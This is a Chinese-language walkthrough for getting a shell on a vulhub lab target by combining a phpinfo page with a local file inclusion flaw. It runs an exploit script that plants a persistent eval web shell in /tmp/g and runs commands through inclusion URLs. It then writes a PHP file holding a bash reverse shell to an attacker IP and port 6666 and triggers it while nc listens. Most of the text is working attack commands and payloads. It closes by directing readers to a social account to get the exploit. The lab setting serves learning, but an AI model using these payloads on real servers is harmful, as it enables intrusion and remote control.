利用场景
存在phpinfo页面,且存在文件包含漏洞,在找不到好的文件包含getshell时,可以使用。
该漏洞和php版本无关,即全版本通用。
环境搭建
使用vulhub靶场,进入漏洞目录,执行docker-compose up -d
创建容器(在root权限下执行)
下文出现的192.168.0.140在复现的过程中需要替换成你们vulhub搭建的ip,查看方法如下,需要注意使用docker搭建的靶场存在多张网卡,要确认好ip
确认环境
访问phpinfo页面:http://192.168.0.140:8080/phpinfo.php
访问文件包含页面:http://192.168.0.140:8080/lfi.php
写入shell
执行exp命令py -2 .\exp.py 192.168.0.140 8080 100
该exp写入一个永久的shell /tmp/g
<?=eval($_REQUEST[1])?>')?>
命令执行
利用文件包含,执行命令
http://192.168.0.140:8080/lfi.php?file=/tmp/g&1=system('id'));
写入反弹shell
通过get传递数据写入反弹shell
http://192.168.0.140:8080/lfi.php?file=/tmp/g&1=system('echo "<?php system(\"bash -c \'exec bash -i %26>/dev/tcp/192.168.0.1/6666 <%261\'\");?>">/tmp/2.php');
通过构造成post传递数据写入反弹shell
http://192.168.0.140:8080/lfi.php?file=/tmp/g&1=system($_POST[s]);
s=echo "<?php system(\"bash -c 'exec bash -i %26>/dev/tcp/192.168.0.1/6666 <%261'\");?>">/tmp/2.php
页面显示报错,没关系,反弹shell已经成功写入
反弹shell
使用nc.exe -lvvp 6666
监听6666端口
访问该页面利用文件包含执行反弹shell
http://192.168.0.140:8080/lfi.php?file=/tmp/2.php
显示正在连接,然后得到反弹shell
获取exp
关注浪飒sec回复
221109
获取exp下载地址